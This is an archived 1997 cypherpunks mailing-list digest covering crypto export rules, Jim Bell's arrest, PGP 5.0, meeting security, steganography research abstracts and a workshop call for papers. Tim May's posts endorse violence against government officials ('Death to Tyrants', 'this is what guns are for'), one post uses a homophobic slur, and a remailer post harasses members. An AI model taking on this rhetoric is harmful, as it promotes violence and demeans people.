Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 20 May 1997 00:57:20 +0800
To: "Yoav Yerushalmi" <yoav@MIT.EDU>
Subject: Re: Distributing cryptographic code
In-Reply-To: <199705191420.IAA22020@teal.csn.net>
Message-ID: <3.0.1.32.19970519090410.00646430@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>>   We would like to put this code up for distribution (within the US
>> of course), but don't actually know what is a 'reasonable' amount of
>> protection that one need apply to prevent people from exporting
>> it to the rest of the world.

The current MIT PGP software distribution has apparently had some
discussion with the Feds.

MPJ>The technical solution that I have come up with is (1) have a web form
MPJ> that asks 3 questions*, with the questions defaulting to "no"

The questions that get asked can be phrased in a lot of different ways;
as an anarchist I think that pgp.com's is a lot more friendly than some.
A few places go to the extremes of "Are you a Subject of the US Gov't?
Do you agree to be bound by every provision of the US Export laws,
written or unwritten, and not even CONSIDER giving this code to anyone
who might be a Furriner?  Sign in blood here!", while others are more like
"Have you heard that the US export laws say <blah blah blah>?
Do you state that it's ok for you to have the code, and that
it's Not Our Fault?"

MPJ> If all 3 answers are "yes", and if the email address given is in a  
MPJ> domain that might be in the USA (.com, .gov, .org, .us, .mil, .net, 

Of course, .com, .net, and .org are non-nationally-based domains,
and even email servers physically located in the US often have
users located outside US territory.  CompuServe is a prime example,
with users all over the world.  Some US-only-code-distribution sites
try to keep track of which sites are in the US, at least for .net.
Since the MIT code distribution site has been allowed to operate
in spite of this, the attitude of the Export Cops appears to be a
"Yes, we know it's bogus and unenforceable, but we need to at least
maintain the pretense that we're enforcing it, so don't ask
for too much technical clarification or we'll have to say No."

[* Mime-Attachment: x-audio
   Audio-Parameter-Setting: Don-Hopkins-Imitating-Monty-Python
	"WHAT is your name?
	WHAT is your favorite color?
	HOW FAR can a migrating swallow fly while carrying a coconut?"
		"Er, is that a European swallow, or an African swallow?"
	

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 20 May 1997 00:30:32 +0800
To: cypherpunks@cyberpass.net
Subject: SIC SEMPER TYRANNIS
In-Reply-To: <3.0.32.19970519000650.0075509c@netcom13.netcom.com>
Message-ID: <v03007801afa63556053c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:08 PM -0800 5/18/97, Lucky Green wrote:
...
>some clue as to future actions/other suspects. Remember that the IRS agent
>found the AP essay by means of an Internet search engine. That almost
>certainly means he is following the discussions about Jim Bell on the Net.
>Such as the discussion on Cypherpunks.
>
>It must be truly frightening to this person to read some of the threads on
>this list. Nerve gas, C4, race-specific biological weapons, bypassing
>airport security systems, not to mention money laundering and tax evasion,
>what hasn't been discussed here?

Well, I think it's been some months since we last talked about the ethics
of having the Ruby Ridge shooter, <CENSORED>, marked for killing by
rightist bounty hunters. (I hear he's changed his name, and may even be in
the Witness Security program, according to a little birdie down at the
range.)

We talk about the things Paine, Franklin, Madison, Jefferson, and other
Founders would probably have talked about were they writing today. (I'm not
comparing our discourse to theirs, in quality or quantity, for lots of
reasons. But certainly some of the more fiery speeches of Mr. "Give me
liberty or give me death!" would surely raise the same flags that our
(theoretical) discussions of initiating infowar against Congress raise.)

Also, my tag line, "Death to tyrants!" is straight out of the Founders' mouths.

(Sadly, we now have several hundred thousand tyrants, mostly in Washington
and state capitals, who have richly earned this fate...something the
Founders would be screaming for action about.)


>The feds may not be aware that the discussions on this list are usually of
>a theoretical nature. Perhaps they decided to go after the
>"co-conspirators". Like the anarchists in California with their AR-15's who
>have so many mags that they can't even  remember where they all are. :-)

I've since found a dozen or so of these clips. Circumstances have motivated
me to look through some of my packed boxes.


>The fact that Jim is held _without bail_ would indicate to me that there is
>more going on than might meet the eye.
>

Indeed. Lock and load.

We talk about the topics of interest to us. If the media characterizes us
as "crazies" or "militia members," or as "terrorists," this is just par for
the course. If, however, police departments and intelligence agencies mark
us for harassment, arrest, prosecution, forfeiture of assets, etc., then
this is what guns are for.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Tue, 20 May 1997 00:54:26 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <3.0.32.19970519000650.0075509c@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970519091747.0083a960@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:08 AM 5/19/97 -0700, Lucky Green wrote:

>There are two reasons I can think of immediately why the feds would keep
>the warrant sealed. The first is that they don't want to reveal just how
>little evidence they have. The second reason is that the warrant might give
>some clue as to future actions/other suspects. Remember that the IRS agent
>found the AP essay by means of an Internet search engine. That almost
>certainly means he is following the discussions about Jim Bell on the Net.
>Such as the discussion on Cypherpunks.

Actually the agent claimed to have found it among some papers in Jim's car
when the seized it for back taxes.

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 20 May 1997 00:34:03 +0800
To: Bill Stewart <tcmay@got.net>
Subject: Re: Mail bombs from "helpful" Cypherpunks
In-Reply-To: <v03007809afa575b7ce29@[207.167.93.63]>
Message-ID: <v03007800afa62e82cda0@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Eudora does have a "Only download messages less than ___K" option
>that can reduce this problem; I don't know if there's also
>a way to delete the message from Eudora without downloading it.
>Netscape Mail has similar options.
>

It does.  If you use the above method for preventing uncontrolled download
(whch I do) and if you also check the "trash attachments with message"
option from the  "Settings" menu, large attachments can be prevented from
download and deleted from the host.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Tue, 20 May 1997 00:42:17 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Legality of Millgram-type psychological experiments
In-Reply-To: <v03007800afa631f038c4@[207.167.93.63]>
Message-ID: <199705191627.JAA14848@netcom16.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May writes:

: I'm curious about the "such psychological experiments are banned today"
: assertiokn. 

: Are you saying that if I were to announce such an exeriments at the next
: physical Cypherpunks meeting and ask for volunteers that I would be
: breaking some law? 

Such experiments require major deception on the part of the experimenter
towards the subject, and the experiments are likely to cause post
traumatic stress afterwards. 

This violates current ethical standards concerning informed consent and
freedom from risk to the subject which govern such experiments today. 

If you performed such an experiment on someone outside of current ethical
guidelines, there would be a queue of lawyers a mile long offering to help
the subject sue you after the fact.  It is not inconceivable that the
subject might convince the police to trump up some charges as well,
related to fraud or psychological torture. 

: Or are you saying instead that most university researchers are now unable
: to get grant money from the NSF and CIA to do such experiments? 

That too. 

: Or that any professor who publishes on such things may face disciplinary
: action from his university? 

You would probably be looking your next tenured position in Brazil. 

: Big differences.

: Insofar as I understand the law, so long as extreme physical torture is
: avoided, no laws cover such experiments. (Many religions are in fact
: organized along these lines, a la the Moonies, the Krishnas, etc.)

: (And extreme physical torture may also be legal, a la S & M and consenting
: sex practices, depending on one's jurisdiction. In San Francisco, even the
: mayor attends S & M parties.)

I think the deception aspect of the experiments would be the major cause
of hassles rather than the unpleasantness aspect.  On the other hand, I
believe there have been prosecutions for consensual S&M in a few
supposedly civilized places, like the UK.  I expect a screaming fag with
nipple pinching clothespins and a portable electro-ejaculator could
probably still get himself arrested domestically for plying his trade in
places like Cincinnati or the states of North Carolina, Tennessee, and
Utah. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Tue, 20 May 1997 00:48:00 +0800
To: geeman <geeman@best.com>
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <3.0.32.19970519074003.006affb0@best.com>
Message-ID: <3.0.2.32.19970519092908.03eecd90@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:45 AM 5/19/97 -0700, geeman wrote:
>and if they encrypted or eliminated the feature that logs all my
>pgp-encrypted traffic.

Probably need to test that.  It is a pretty disturbing development.

Has anyone asked PGP inc. why that "feature" is there?  (Or are they just
going to hide it better in the future.)

Ya can't trust anyone anymore...

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John W. Noerenberg" <jwn2@qualcomm.com>
Date: Tue, 20 May 1997 00:54:10 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <199705181853.LAA01875@netcom18.netcom.com>
Message-ID: <v04000100afa62dc5bb96@[129.46.137.118]>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3954.1071713699.multipart/signed"

--Boundary..3954.1071713699.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 12:26 PM -0700 5/18/97, Alan Olsen wrote:
>
>Have you noticed that none of the PGP people have posted as of late?  I
>wonder if they were among the "purged".
>

I understand they are taking a very narrow interpretation of the
prohibition about rendering technical assistance to non-US citizens.
Mailing lists may not be public enough, so they are being cautious.

john noerenberg
jwn2@qualcomm.com
  --------------------------------------------------------------------
   "We need not to be left alone.  We need to be really
    bothered once in a while."
  -- Ray Bradbury, Farhenheit 451, 1953
  --------------------------------------------------------------------



--Boundary..3954.1071713699.multipart/signed
Content-Type: application/octet-stream; name="pgp00000.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00000.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogNS4wIGJl
dGEKTWVzc2FnZUlEOiAxNHhvc1dSZkJ2NTAyMzhCcVlEZnpJOERIY3pEVTVp
dQoKaVFDVkF3VUJNNENBNm4wUkYzSENLNHpaQVFFK0NBUDZBaERlTHdPOGhU
SFplWU5DWEJQNDAzODNVMVRkUTI3NwpDT1VnQVpXbHFVQmVhRXcwelU3djFS
aytWWUJQOGdPQ3VnbTlISjEzWVRyMXBwK3dNNThGY2JkUjAwMHNrZE5pCnhK
TjBkbE5QSTQ2czNNTmxoajkvRmkyUDFLdXFTTDIvTEJMNG5jMjB5bHV4UldY
bkswOTZ0ZnVLSmNFd2Q5TW8KVnNLcUQ3UGV4Unc9Cj1xSVdOCi0tLS0tRU5E
IFBHUCBTSUdOQVRVUkUtLS0tLQo=
--Boundary..3954.1071713699.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris DiBona <dibona@acm.org>
Date: Tue, 20 May 1997 01:37:46 +0800
To: "cypherpunks@toad.com>
Subject: RE: Jim Bell goes to Jail--We should avoid raidable, physical meeting
Message-ID: <01BC643D.699ED1D0@marmoset.loc201.tandem.com>
MIME-Version: 1.0
Content-Type: text/plain



<RANT>

I couldn't disagree with you more Tim.

If the FBI wants to come raid a Cypherpunk meeting and arrest me, they should be ready for a law suit that will make thier heads spin. I mean can you think of anything more protected by the first amendment than a bunch of hobbiest getting together to discuss math, for christs sakes? I know a couple of lawyers who would drool at the chance to defend someone who is lily white and is arrested for meeting and discussing prime numbers. 

To suggest the cessation of meetings (no matter how worthless Dimitri) really seems to me to be counter to everything this group is about. 

</RANT>

    Chris DiBona


-----Original Message-----
From:	Dr.Dimitri Vulis KOTM [SMTP:dlv@bwalk.dm.com]
Sent:	Monday, May 19, 1997 4:30 AM
To:	cypherpunks@toad.com
Subject:	Re: Jim Bell goes to Jail--We should avoid raidable, physical meeting

Tim May <tcmay@got.net> writes:
> (Also, I suggest _physical_ Cypherpunks meetings not be held for the
> foreseeable future. I know I plan to skip them all. A gathering of "reputed
> information terrorists, who have openly discussed assassination markets, C4
> explosives, and the destabilization of democratic governments" would be too
> ripe a target for clowns like Reno, Freeh, and Kallstrom.)

The physical meetings I've been to were not worth the trip.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 20 May 1997 01:32:35 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: Jim Bell goes to Jail!
Message-ID: <3.0.32.19970519101346.00714fe0@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:17 AM 5/19/97 -0700, Alan Olsen wrote:
>At 12:08 AM 5/19/97 -0700, Lucky Green wrote:
>
>>There are two reasons I can think of immediately why the feds would keep
>>the warrant sealed. The first is that they don't want to reveal just how
>>little evidence they have. The second reason is that the warrant might give
>>some clue as to future actions/other suspects. Remember that the IRS agent
>>found the AP essay by means of an Internet search engine. That almost
>>certainly means he is following the discussions about Jim Bell on the Net.
>>Such as the discussion on Cypherpunks.
>
>Actually the agent claimed to have found it among some papers in Jim's car
>when the seized it for back taxes.

I stand corrected. The essay was found in the car. However, after the essay
was  found the agent searched the Internet for copies of the essay and
posts by Jim Bell discussing it. The agent's original affidavit states the
number of AP related post by Jim the fed could find via a search engine.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 20 May 1997 02:07:56 +0800
To: cypherpunks@cyberpass.net
Subject: Bypassing U.S. export laws at physical meetings
In-Reply-To: <3.0.2.32.19970518122618.00aa85e0@mail.teleport.com>
Message-ID: <v03007801afa6506d9816@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:33 AM -0800 5/19/97, John W. Noerenberg wrote:
>At 12:26 PM -0700 5/18/97, Alan Olsen wrote:
>>
>>Have you noticed that none of the PGP people have posted as of late?  I
>>wonder if they were among the "purged".
>>
>
>I understand they are taking a very narrow interpretation of the
>prohibition about rendering technical assistance to non-US citizens.
>Mailing lists may not be public enough, so they are being cautious.
>

Interestingly, PGP staffers have been "helping" exports at physical
Cypherpunks meetings...which they view as ideal fora for bypassing the U.S.
laws. Companies wishing to communicate important crypto information to
foreign developers have used the physical meetings to do this "legally" (so
they claim...I'm not a lawyer).

(That several Japanese nationals were at one such meeting, picking up the
PGP documentation, did not matter. Nor did it matter that the presentation
was videotaped for non-U.S. distribution. Nor that other foreign nationals
were in the audience.)

Of course, if Prof. Junger loses his case, I suppose we'll have to check
for passports at the door.

(Though such checking of passports probably violates other laws about
discrimination. For example, the "Egghead example" (does Egghead face
charges if it sells to a foreigner?). Does Egghead get in
antidiscrimination trouble if it asks to see some documentation on
dark-skinned or foreign-looking persons, while not, obviously, demanding
passports from white-skinned or black-skinned 'Muricans?)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 20 May 1997 02:18:27 +0800
To: cypherpunks@algebra.com
Subject: RE: Jim Bell goes to Jail--We should avoid raidable, physicalmeeting
In-Reply-To: <01BC643D.699ED1D0@marmoset.loc201.tandem.com>
Message-ID: <v03007802afa652f5305e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:14 AM -0800 5/19/97, Chris DiBona wrote:
><RANT>
>
>I couldn't disagree with you more Tim.
>
>If the FBI wants to come raid a Cypherpunk meeting and arrest me, they
>should be ready for a law suit that will make thier heads spin. I mean can
>you think of anything more protected by the first amendment than a bunch
>of hobbiest getting together to discuss math, for christs sakes? I know a
>couple of lawyers who would drool at the chance to defend someone who is
>lily white and is arrested for meeting and discussing prime numbers.
>
>To suggest the cessation of meetings (no matter how worthless Dimitri)
>really seems to me to be counter to everything this group is about.


Fine that you disagree. I think a lot of Feds would view a meeting of 40-50
people discussing assassination politics, violating U.S. export laws,
modifications of semi-automatic rifles to make them more effective in
counter-gov't-terrorism, etc, to be a "ripe target." Good for publicity on
the evening news.

(At the 20-30 meetings I have been at over the last almost 5 years, very
few of them have revolved around "discussing prime numbers.")

Whether it stands up in court depends on the charges. As for you being
willing to file a lawsuit that will make their heads spin, good for you.
But to win a lawsuit, one has to have a case. And the laws are written
broadly these days, and I doubt such a case would be won.

(Did anything ever come of the police actions at the "2600" meetings in
D.C. a few years back? I don't recall all of the details, but I gather the
cops either moved in and made arrests, or maybe just watched and took down
license plate numbers.)

By all means, have meetings. I just intend to be in places where I can have
defensive weapons at the ready (which has been at some Cypherpunks physical
meetings, of course).

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Tue, 20 May 1997 01:29:29 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Nature of Anarchy/ Anarchy of Nature
In-Reply-To: <199705190036.TAA19421@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.95.970519111207.487B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 18 May 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> 
> In <v03007802afa54d564265@[10.0.2.15]>, on 05/18/97 at 06:25 PM,
>    Steve Schear <azur@netcom.com> said:
> 
> 
> >At 5:52 PM -0500 5/18/97, William H. Geiger III wrote:
> >>-----BEGIN PGP SIGNED MESSAGE-----
> >>
> >>
> >>In <199705182225.PAA03246@fat.doobie.com>, on 05/18/97 at 04:25 PM,
> >>   nobody@huge.cajones.com (Huge Cajones Remailer) said:
> >>
> >>
> >>[New Age Snip]
> >>
> >>>I believe this was a major quantum leap in the history of  human  thought
> >>>and concioussness. A giant step in the right direction of our  true
> >>>divinity but it was sorely flawed; By the concept of property  rights.
> >>>This is where the founding fathers eogos got in the way.
> >>
> >>>The liberation movements of the last century have been based on the  same
> >>>concept of unalienable rights and have attempted to fine tune  the
> >>>document for  a more equitable distribution of planet power to  correct
> >>>the flaw.
> >>
> >><sigh> There is a fundamental fact of politics/economics that a socialist
> >>economy and a democratic political structure can not co-exsist.
> >>
> >>The concept of property rights is not a flaw but the foundation on which
> >>the constitution and this country is built on. Without the ability to
> >>controll ones own property all other rights fall by the wayside.

> >>
> >>I sugest reading "The Wealth of Nations" by Adam Smith for a better
> >>understanding of Capitalism and why it is the *only* economic model that
> >>works for a free society.
> >>
> 

> >Even better, "The Road to Surfdom," F.A. Hayek, totally debunks the basis
> >of a planned economy and how the loss of property ownership and economic
> >freedom leads directly and inevitably to totalitarianism.
> 

> Yes, very good read. Have you read any of his other works?
> 
> I thought that Smith was a good start as it was his economic philosophy
> that guided our founding fathers.
> 
> I find it rather depressing that too few people understand the
> relationships between economics & politics and how they affect the freedom
> of the individule. 
> 

Or more succinctly put:

"Without private property there can be no privacy"

                   -anonymous
                   (how appropriate - anonymous quotes on cypherpunks)

Jim Burnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Tue, 20 May 1997 03:08:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Information Hiding Workshop
Message-ID: <199705191846.LAA31650@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


> WWW version of cfp at http://www.cl.cam.ac.uk/users/rja14/ihws.html
>
> Details of the first (1996) information hiding workshop are at
> http://www.cl.cam.ac.uk/users/fapp2/steganography/bibliography/workshop.html

The second URL above has abstracts from the conference, many of which sound
very interesting from a CP point of view.  It's kind of strange though that
this topic encompasses both steganography and fingerprinting.  The first
has connotations of freedom, while the second connotes restrictions.  What
both have in common is embedding information undetectably and/or unremovably.

The conference proceedings, "Information Hiding", are currently checked out
from the local university library but I will be looking for them.  There
sounds like a lot of good stuff.  Check out the URL for the T. Aura paper
below; it has some statistics on actual LSB distributions in digital
images, with implications for doing truly undetectable stego.

Below are a few of the abstracts, with URL's for more info where available.

Hal

===

Stretching the Limits of Steganography 

R Anderson, Info Hiding 96 pp 39--48 

The author provides a brief overview of the state of the art in
steganography, and shows how public key steganography is possible ---
at least in the presence of a passive warden. The basic idea is that
if the communicating parties can manipulate at least one out of n bits
in the cover text, then the warden can not distinguish the parity of
successive blocks of n bits from random noise; accordingly these parity
bits can be used to hide cipher text in plain sight. Information theoretic
limits of general steganography are also discussed, and it is shown
that parity techniques can make many systems more efficient. Finally,
the differential effectiveness of active and passive wardens is discussed.

http://www.cl.cam.ac.uk/ftp/users/rja14/stegan.ps.gz 

===

Computer Based Steganography: How It Works and Why Therefore Any
Restrictions on Cryptography Are Nonsense, At Best 

E Franz, A Jerichow, S Möller, A Pfitzmann, I Stierand, Info Hiding 96 pp 7--21 

The authors discuss a system for hiding ciphertext in the low order bits
of an ISDN telephone signal, and report measurements of the perceptibility
of various covert signal levels as a function of the cover signal and
background noise. They also discuss the meaning of perfect and pragmatic
security in the stego context. They argue that steganography is easy,
and thus restrictions on crypto will simply force criminals to use stego
which will make the law enforcement job harder.

===

Practical Invisibility in Digital Communications 

T Aura, Info Hiding 96 pp 265--278 

The author discusses some of the problems of information hiding,
including synchronising with a cover message which is a stream such
digital audio. Where the cover message is a block, such as a digital
picture, his technique is to use the Luby-Rackoff construction to
embed the hidden bits pseudorandomly throughout the picture. A test
implementation using SHA as the underlying primitive is reported.

http://deadlock.hut.fi/ste/ste_html.html
http://www.tcm.hut.fi/Opinnot/Tik-110.501/1995/steganography.html 

===

Establishing Big Brother Using Covert Channels and Other Covert Techniques 

Y Desmedt, Info Hiding 96 pp 65--71 

The author discusses a number of ways in which covert technologies
that are initially deployed for relatively mundane purposes, such as
copyright protection, can end up being subverted to provide the means
of surveillance. This problem could become progressively more serious
as more and more everyday objects become endowed with some kind of
intelligence and communications capability.

===

Anonymous Addresses and Confidentiality of Location 

IW Jackson, Info Hiding 96 pp 115--120 

The author describes how anonymous remailers can be used to process
personal location information from active badges. The goal is that each
user should be able to control who has access to information about his
location; the mechanism is that the remailers forward this information
to a server that the user trusts to enforce his security policy. The
crypto protocols used in this system are described.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ross Anderson <Ross.Anderson@cl.cam.ac.uk> (by way of Alec <camcc@abraxis.com>)
Date: Tue, 20 May 1997 01:24:50 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: Information Hiding Workshop
Message-ID: <3.0.1.32.19970519115532.007b0b90@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain



			Call for Papers 

		WORKSHOP ON INFORMATION HIDING

		      15 - 17 April 1998

		       Portland, Oregon


Many researchers are interested in hiding information or in stopping other
people doing this. Current research themes include copyright marking of 
igital objects, covert channels in computer systems, subliminal channels 
in cryptographic protocols, low-probability-of-intercept communications,
broadcast encryption schemes, and various kinds of anonymity services 
ranging from steganography through location security to digital elections.

These closely linked areas of study were brought together in 1996 by a
workshop on information hiding held at the Isaac Newton Institute in
Cambridge. This was felt to be very worthwhile by the research community, 
and it was decided to hold a second workshop in 1998.

This second international workshop on information hiding will be held in 
Portland, Oregon from the 15th to the 17th April 1998. 


Instructions for authors:

Interested parties are invited to submit papers on research and practice
which are related to these areas of interest. Submissions can be made
electronically (latex or postscript; preferred format is latex using
llncs.sty) or in paper form; in the latter case, send eight copies
suitable for blind refereeing (the authors' names should be on a separate
cover sheet and there should be no obvious references). Papers should not
exceed fifteen pages in length.


Addresses for submission:

	awk@mailbox.jf.intel.com

	David Aucsmith
	Intel Architecture Labs
	5200 N. E. Elam Young Parkway
	Hillsboro, OR 97124-6497
	USA


Deadlines:

	Paper submission:               		31st December 1997
	Notification of acceptance:     		28th February 1998
	Camera-ready copy for preproceedings:   	31st March 1998
	Camera-ready copy for final proceedings:	31st May 1998


Program committee:

	David Aucsmith (Intel) - chair
	Ross Anderson (Cambridge University)
	Steve Low (AT&T Bell Laboratories)
	Ira Moskowitz (US Naval Research Laboratory)
	Andreas Pfitzmann (Technical University of Dresden)
	Jean-Jacques Quisquater (Catholic University of Louvain)
	Gus Simmons (University of New Mexico)
	Michael Waidner (IBM, Zuerich)


WWW version of cfp at http://www.cl.cam.ac.uk/users/rja14/ihws.html

Details of the first (1996) information hiding workshop are at
http://www.cl.cam.ac.uk/users/fapp2/steganography/bibliography/workshop.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 20 May 1997 03:52:07 +0800
To: cypherpunks@toad.com
Subject: Message
Message-ID: <199705191923.MAA21631@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Thu, 15 May 1997 20:03:35 -0600 (MDT)
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Cc: cypherpunks@toad.com
Subject: Re: [CRYPTO] Blowfish
Sender: owner-cypherpunks@toad.com



I think Vulis needs each of us to send ten copies of this back
to him.                                                          
   On Thu, 15 May 1997, lucifer Anonymous Remailer wrote:

> Here, Tim C. May descends into Graham-John Bullers. He should have a cold shower and/or a Turkish coffee.
> 
>           ___\
>          <o   \__o  Tim C. May
>           X\     X>
>         _/_\____<_\_
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 20 May 1997 01:37:54 +0800
To: cypherpunks@toad.com
Subject: Re: Need some info...
In-Reply-To: <Pine.LNX.3.95.970519175138.20129P-100000@sdnpk.undp.org>
Message-ID: <qFNy7D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Wasim Q. Malik" <wmalik@sdnpk.undp.org> writes:

> Hi.
> 
> I'm gonna give a talk on the subject of hacking/security soon. Need your
> help with it.
> 
> Things that I'm gonna include are: 
> 	what is hacking, 
